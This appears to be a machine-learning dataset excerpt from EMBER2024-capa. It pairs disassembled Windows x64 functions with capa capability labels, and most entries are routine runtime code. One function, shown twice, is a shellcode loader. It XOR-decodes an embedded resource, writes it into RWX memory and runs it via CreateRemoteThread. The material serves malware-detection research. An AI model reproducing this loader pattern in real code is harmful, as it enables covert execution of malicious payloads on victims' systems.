joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4cf7ec
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4cf86a
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4cf861
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4cf861
mov rax, qword [rbp - 8]
jmp 0x2fc4cf87f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4cf834
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x1400015e1
Capabilities:
Parse pe header

Disassembly:
jmp 0x140075c64
xor r8d, r8d
xor edx, edx
jmp 0x140075954

Function at 0x140002aef
Capabilities:
Get geographical location

Disassembly:
jmp 0x14005dc28
sub rsp, 0x28
and dword [rsp + 0x30], 0
call fcn.140003ce2
mov r9d, 2
lea r8, [rsp + 0x30]
mov rcx, qword [rax + 0x28]
lea edx, [r9 + 0x20]
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx ecx, word [rsp + 0x30]
sub ecx, 0x30
je 0x14005dc75
sub ecx, 1
je 0x14005dc6e
cmp ecx, 1
je 0x14005dc67
xor eax, eax
jmp 0x14005dc7a
mov eax, 3
jmp 0x14005dc7a
mov eax, 1
jmp 0x14005dc7a
mov eax, 2
add rsp, 0x28
ret

Function at 0x140002d15
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0x1400dd89c
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rax, qword [0x140112100]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rsi, qword [rsp + 0xa0]
lea r10, [0x140116868]
xor r11d, r11d
lea rdi, [0x1400edaf6]
test r9, r9
mov rax, rdx
mov r12, rdx
cmovne r10, r9
test rdx, rdx
lea ebp, [r11 + 1]
cmovne rdi, rdx
mov r15d, ebp
cmovne r15, r8
neg rax
sbb r14, r14
and r14, rcx
test r15, r15
jne 0x1400dd90c
mov rax, 0xfffffffffffffffe
jmp 0x1400dda59
cmp word [r10 + 6], r11w
jne 0x1400dd97b
movzx r9d, byte [rdi]
inc rdi
test r9b, r9b
js 0x1400dd936
test r14, r14
je 0x1400dd927
mov dword [r14], r9d
test r9b, r9b
setne r11b
mov rax, r11
jmp 0x1400dda59
mov al, r9b
and al, 0xe0
cmp al, 0xc0
jne 0x1400dd944
mov r8b, 2
jmp 0x1400dd962
mov al, r9b
and al, 0xf0
cmp al, 0xe0
jne 0x1400dd952
mov r8b, 3
jmp 0x1400dd962
mov al, r9b
and al, 0xf8
cmp al, 0xf0
jne 0x1400dda4e
mov r8b, 4
movzx eax, r8b
mov ecx, 7
sub ecx, eax
mov edx, ebp
shl edx, cl
mov bl, r8b
sub edx, ebp
and edx, r9d
jmp 0x1400dd9a4
mov r8b, byte [r10 + 4]
mov edx, dword [r10]
mov bl, byte [r10 + 6]
lea eax, [r8 - 2]
cmp al, 2
ja 0x1400dda4e
cmp bl, bpl
jb 0x1400dda4e
cmp bl, r8b
jae 0x1400dda4e
movzx ebp, bl
cmp rbp, r15
mov r9d, ebp
cmovae r9, r15
jmp 0x1400dd9d1
movzx ecx, byte [rdi]
inc rdi
mov al, cl
and al, 0xc0
cmp al, 0x80
jne 0x1400dda4e
mov eax, edx
and ecx, 0x3f
shl eax, 6
mov edx, ecx
or edx, eax
mov rax, rdi
sub rax, r12
cmp rax, r9
jb 0x1400dd9b3
cmp r9, rbp
jae 0x1400dd9fd
movzx eax, r8b
sub bl, r9b
mov word [r10 + 4], ax
movzx eax, bl
mov word [r10 + 6], ax
mov dword [r10], edx
jmp 0x1400dd900
lea eax, [rdx - 0xd800]
cmp eax, 0x7ff
jbe 0x1400dda4e
cmp edx, 0x110000
jae 0x1400dda4e
movzx eax, r8b
mov dword [rsp + 0x20], 0x80
mov dword [rsp + 0x24], 0x800
mov dword [rsp + 0x28], 0x10000
cmp edx, dword [rsp + rax*4 + 0x18]
jb 0x1400dda4e
test r14, r14
je 0x1400dda3c
mov dword [r14], edx
neg edx
mov rdx, r10
sbb rcx, rcx
and rcx, rbp
call fcn.1400057a4
jmp 0x1400dda59
mov rdx, rsi
mov rcx, r10
call fcn.1400062f8
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.14000352b
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002d8d
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140019bd4
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140019c61
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140019c61
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140019c61
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140019c48
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140019c42
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140019c4a
add rdx, 0x28
jmp 0x140019c27
xor edx, edx
test rdx, rdx
jne 0x140019c53
xor al, al
jmp 0x140019c67
cmp dword [rdx + 0x24], 0
jge 0x140019c5d
xor al, al
jmp 0x140019c67
mov al, 1
jmp 0x140019c67
xor al, al
jmp 0x140019c67
add rsp, 0x18
ret

Function at 0x140003274
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140072450
mov rax, rcx
neg rcx
test rax, 7
je 0x14007246d
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x1400724c8
test al, 7
jne 0x140072460
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140072481
mov rdx, qword [rax - 8]
test dl, dl
je 0x1400724f2
test dh, dh
je 0x1400724ec
shr rdx, 0x10
test dl, dl
je 0x1400724e6
test dh, dh
je 0x1400724e0
shr rdx, 0x10
test dl, dl
je 0x1400724da
test dh, dh
je 0x1400724d4
shr edx, 0x10
test dl, dl
je 0x1400724ce
test dh, dh
jne 0x140072481
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400032ab
Capabilities:
Query environment variable

Disassembly:
jmp 0x1400be764
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1400be7eb
mov rsi, rbx
cmp word [rax], bp
je 0x1400be7aa
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1400be794
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1400be790
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140001064
mov rdi, rax
test rax, rax
je 0x1400be7d8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140003553
mov rbp, rdi
xor ecx, ecx
call fcn.14000124e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140003576
Capabilities:
Encode data using xor

Disassembly:
jmp 0x14000c84e
mov eax, 0x84222325
sub r8, rdx
je 0x14000c871
xor ecx, ecx
movzx r9d, byte [rdx + rcx]
xor r9d, eax
imul eax, r9d, 0x1b3
inc rcx
cmp r8, rcx
jne 0x14000c85a
ret
Function at 0x140003774
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x140071e94
push rbx
sub rsp, 0x20
mov ebx, ecx
lea r9, [0x1400f2da8]
mov ecx, 2
lea r8, [0x1400f2da0]
lea rdx, str.FlsGetValue
call fcn.140071964
mov ecx, ebx
test rax, rax
je 0x140071ece
add rsp, 0x20
pop rbx
jmp qword [0x140123020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1400039b8
Capabilities:
Query environment variable

Disassembly:
jmp 0x1400be610
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400be640
xor eax, eax
jmp 0x1400be703
mov rbp, rbx
cmp word [rax], si
je 0x1400be665
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400be64c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400be648
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140004a39
movsxd r14, eax
test eax, eax
jne 0x1400be6a3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400be639
mov rcx, r14
call fcn.140001064
mov rdi, rax
test rax, rax
jne 0x1400be6bc
xor ecx, ecx
call fcn.14000124e
jmp 0x1400be698
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140004a39
test eax, eax
jne 0x1400be6ed
mov rcx, rdi
call fcn.14000124e
jmp 0x1400be6f7
xor ecx, ecx
call fcn.14000124e
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400039c7
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x140071de4
push rbx
sub rsp, 0x20
mov rbx, rcx
lea r9, [0x1400f2d68]
xor ecx, ecx
lea r8, [0x1400f2d60]
lea rdx, str.FlsAlloc
call fcn.140071964
test rax, rax
je 0x140071e1d
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp qword [0x140123020]
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x140003a8f
Capabilities:
Get geographical location

Disassembly:
jmp 0x1400c52bc
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov ebx, r9d
mov rdi, r8
mov esi, edx
lea r9, [0x1400f7548]
mov rbp, rcx
lea r8, [0x1400f7540]
lea rdx, str.GetLocaleInfoEx
mov ecx, 8
call fcn.1400c47dc
test rax, rax
je 0x1400c531c
movabs r10, 0xe375262d7cd44270
mov r9d, ebx
mov r8, rdi
mov edx, esi
mov rcx, rbp
call qword [0x140123030]
jmp 0x1400c5336
xor edx, edx
mov rcx, rbp
call fcn.140002dfb
mov ecx, eax
mov r9d, ebx
mov r8, rdi
mov edx, esi
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140003a99
Capabilities:
Terminate process

Disassembly:
jmp 0x1400e0790
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]

Function at 0x140003d14
Capabilities:
Parse pe header

Disassembly:
jmp 0x140075bf8
xor r8d, r8d
lea edx, [r8 + 2]
jmp 0x140075954

Function at 0x140003fb2
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400e06b0
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400e06d8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400e06d8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1400044e4
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a190
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a1da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a1da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a1da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a1da
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a1da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001a1dc
xor al, al
add rsp, 0x28
ret

Function at 0x1400045de
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
jmp 0x140031570
jmp 0x14004f49c
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400315a2
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140031585
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14000117c

Function at 0x14000493f
Capabilities:
Enumerate pe sections

Disassembly:
jmp 0x1400e05f0
movsxd r8, dword [rcx + 0x3c]
xor r9d, r9d
add r8, rcx
mov r10, rdx
movzx eax, word [r8 + 0x14]
movzx r11d, word [r8 + 6]
add rax, 0x18
add rax, r8
test r11d, r11d
je 0x1400e0631
mov edx, dword [rax + 0xc]
cmp r10, rdx
jb 0x1400e0625
mov ecx, dword [rax + 8]
add ecx, edx
cmp r10, rcx
jb 0x1400e0633
inc r9d
add rax, 0x28
cmp r9d, r11d
jb 0x1400e0613
xor eax, eax
ret

Function at 0x140004cbe
Capabilities:
Terminate process

Disassembly:
jmp 0x140072ee0
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x140072efa
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
lea ecx, [r8 + 1]
call fcn.1400057c2
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000417
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140004d54
Capabilities:
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14000bb53
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
xor r14d, r14d
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov edi, eax
mov rcx, rdi
call fcn.14000319d
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call fcn.140003553
mov dword [rsp + 0x40], 0x30303030
mov byte [rsp + 0x44], 0
test ebp, ebp
je 0x14000bbe7
xor eax, eax
xor ecx, ecx
cmp ecx, 4
cmove ecx, r14d
movsxd rcx, ecx
mov dl, byte [rsp + rcx + 0x40]
xor byte [rsi + rax], dl
inc ecx
inc rax
cmp rdi, rax
jne 0x14000bbcc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r15d, r15d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, rdi
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov rdx, rax
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x28], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1400034f9
mov rcx, rdi
mov edx, 0xffffffff
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
Function at 0x14000594d
Capabilities:
Parse credit card information

Disassembly:
jmp 0x14000ece2
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebp, edx
mov rsi, rcx
mov edi, 1
cmp edx, 0x3a
je 0x14000ed11
xor edi, edi
cmp ebp, 0x3d
je 0x14000ed11
xor eax, eax
cmp ebp, 0x2e
mov edi, 0xe
cmove edi, eax
mov rbx, qword [rsi]
xor r14d, r14d
movabs r15, 0x4800800000000001
mov eax, dword [rsi + 0x7c]
lea ecx, [rax + 1]
cmp ecx, 0x3e
ja 0x14000ed32
bt r15, rcx
jb 0x14000ed3f
mov rcx, rsi
call fcn.140004c23
inc r14
jmp 0x14000ed21
cmp eax, ebp
jne 0x14000edee
cmp ebp, 0x3a
jne 0x14000ed85
mov r8, qword [rsi]
mov rcx, qword [rsi + 0x68]
mov r9d, dword [rsi + 0x70]
shr r9d, 8
and r9d, 1
mov rdx, rbx
call fcn.1400060b4
test ax, ax
je 0x14000edf5
lea rcx, [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r8d, eax
xor r9d, r9d
call fcn.140002167
jmp 0x14000edcc
cmp ebp, 0x2e
je 0x14000eda8
cmp ebp, 0x3d
jne 0x14000edcc
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000edff
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.140003503
jmp 0x14000edcc
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000edff
lea rcx, [rsi + 0x40]
mov rax, qword [rsi + 0x48]
add rax, 0x20
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r9, r14
call fcn.140005ec0
mov rcx, rsi
call fcn.140004c23
cmp dword [rsi + 0x7c], 0x5d
jne 0x14000edee
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140004c23
mov ecx, edi
call fcn.1400050ce
mov ecx, 1
call fcn.1400050ce
xor ecx, ecx
call fcn.1400050ce
int3

Function at 0x14000597a
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x140071eec
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
lea r9, [0x1400f2dc8]
mov edi, ecx
lea rdx, str.FlsSetValue
mov ecx, 3
lea r8, [0x1400f2dc0]
call fcn.140071964
mov rdx, rbx
mov ecx, edi
test rax, rax
je 0x140071f2c
call qword [0x140123020]
jmp 0x140071f32
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140005c09
Capabilities:
Parse pe header

Disassembly:
jmp 0x140075be8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400759c3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400759c3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400759c3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400759c3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400759c3
cmp dword [rcx + 0x84], 0xe
jbe 0x1400759c3
cmp dword [rcx + 0xf8], 0
je 0x1400759c3
mov ecx, ebx
call fcn.140075b2c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400756ac
nop
cmp dword [rbp + 0x20], 0
je 0x140075a11
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140075a4c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140075954

Function at 0x140005ca9
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
jmp 0x14003152c
jmp 0x14004f484
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14003155e
movzx eax, byte [rcx + rdx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140031541
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x1400040cf
Function at 0x14000bb53
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Execute shellcode via indirect call
Extract resource via kernel32 functions
Inject thread
Spawn thread to rwx shellcode

Disassembly:
jmp 0x14000bb53
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
xor r14d, r14d
mov edx, 0x65
mov r8d, 0xa
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rsi, rax
xor ecx, ecx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
xor ecx, ecx
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebp, eax
mov edi, eax
mov rcx, rdi
call fcn.14000319d
mov rsi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rcx, rsi
mov rdx, rax
mov r8, rdi
call fcn.140003553
mov dword [rsp + 0x40], 0x30303030
mov byte [rsp + 0x44], 0
test ebp, ebp
je 0x14000bbe7
xor eax, eax
xor ecx, ecx
cmp ecx, 4
cmove ecx, r14d
movsxd rcx, ecx
mov dl, byte [rsp + rcx + 0x40]
xor byte [rsi + rax], dl
inc ecx
inc rax
cmp rdi, rax
jne 0x14000bbcc
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor r15d, r15d
mov ecx, 0x1fffff
xor edx, edx
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
mov dword [rsp + 0x20], 0x40
mov rcx, rax
xor edx, edx
mov r8, rdi
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r14, rax
mov qword [rsp + 0x20], r15
mov rcx, rbx
mov rdx, rax
mov r8, rsi
mov r9, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x20], r15
mov dword [rsp + 0x28], 0
mov rcx, rbx
xor edx, edx
xor r8d, r8d
mov r9, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rdi, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.1400034f9
mov rcx, rdi
mov edx, 0xffffffff
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
Function at 0x14000ece2
Capabilities:
Parse credit card information

Disassembly:
jmp 0x14000ece2
push r15
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov ebp, edx
mov rsi, rcx
mov edi, 1
cmp edx, 0x3a
je 0x14000ed11
xor edi, edi
cmp ebp, 0x3d
je 0x14000ed11
xor eax, eax
cmp ebp, 0x2e
mov edi, 0xe
cmove edi, eax
mov rbx, qword [rsi]
xor r14d, r14d
movabs r15, 0x4800800000000001
mov eax, dword [rsi + 0x7c]
lea ecx, [rax + 1]
cmp ecx, 0x3e
ja 0x14000ed32
bt r15, rcx
jb 0x14000ed3f
mov rcx, rsi
call fcn.140004c23
inc r14
jmp 0x14000ed21
cmp eax, ebp
jne 0x14000edee
cmp ebp, 0x3a
jne 0x14000ed85
mov r8, qword [rsi]
mov rcx, qword [rsi + 0x68]
mov r9d, dword [rsi + 0x70]
shr r9d, 8
and r9d, 1
mov rdx, rbx
call fcn.1400060b4
test ax, ax
je 0x14000edf5
lea rcx, [rsi + 0x40]
mov rdx, qword [rsi + 0x48]
mov r8d, eax
xor r9d, r9d
call fcn.140002167
jmp 0x14000edcc
cmp ebp, 0x2e
je 0x14000eda8
cmp ebp, 0x3d
jne 0x14000edcc
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000edff
lea rcx, [rsi + 0x40]
mov rdx, rbx
mov r9, r14
call fcn.140003503
jmp 0x14000edcc
mov r8, qword [rsi]
cmp rbx, r8
je 0x14000edff
lea rcx, [rsi + 0x40]
mov rax, qword [rsi + 0x48]
add rax, 0x20
mov qword [rsp + 0x20], rax
mov rdx, rbx
mov r9, r14
call fcn.140005ec0
mov rcx, rsi
call fcn.140004c23
cmp dword [rsi + 0x7c], 0x5d
jne 0x14000edee
mov rcx, rsi
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
jmp fcn.140004c23
mov ecx, edi
call fcn.1400050ce
mov ecx, 1
call fcn.1400050ce
xor ecx, ecx
call fcn.1400050ce
int3

Function at 0x14001a190
Capabilities:
Parse pe header

Disassembly:
jmp 0x14001a190
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a1da
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a1da
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a1da
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a1da
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a1da
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14001a1dc
xor al, al
add rsp, 0x28
ret
Function at 0x1400c3a48
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov ebx, ecx
call fcn.1400020b3
mov ecx, ebx
lea r8, [rsp + 0x30]
and ecx, 0x3ff
mov r9d, 2
bts ecx, 0xa
mov edx, 0x20000001
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
xor edx, edx
test eax, eax
je 0x1400c3ae9
cmp ebx, dword [rsp + 0x30]
je 0x1400c3ae2
test esi, esi
je 0x1400c3ae2
mov r10, qword [rdi + 0x98]
mov r9d, edx
movzx r8d, word [r10]
lea rcx, [r10 + 2]
lea eax, [r8 - 0x41]
cmp ax, 0x19
jbe 0x1400c3abd
sub r8w, 0x61
cmp r8w, 0x19
ja 0x1400c3aca
movzx r8d, word [rcx]
inc r9d
add rcx, 2
jmp 0x1400c3aa7
or rax, 0xffffffffffffffff
inc rax
cmp word [r10 + rax*2], dx
jne 0x1400c3ace
cmp r9d, eax
setne dl
mov eax, edx
jmp 0x1400c3aeb
mov eax, 1
jmp 0x1400c3aeb
xor eax, eax
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret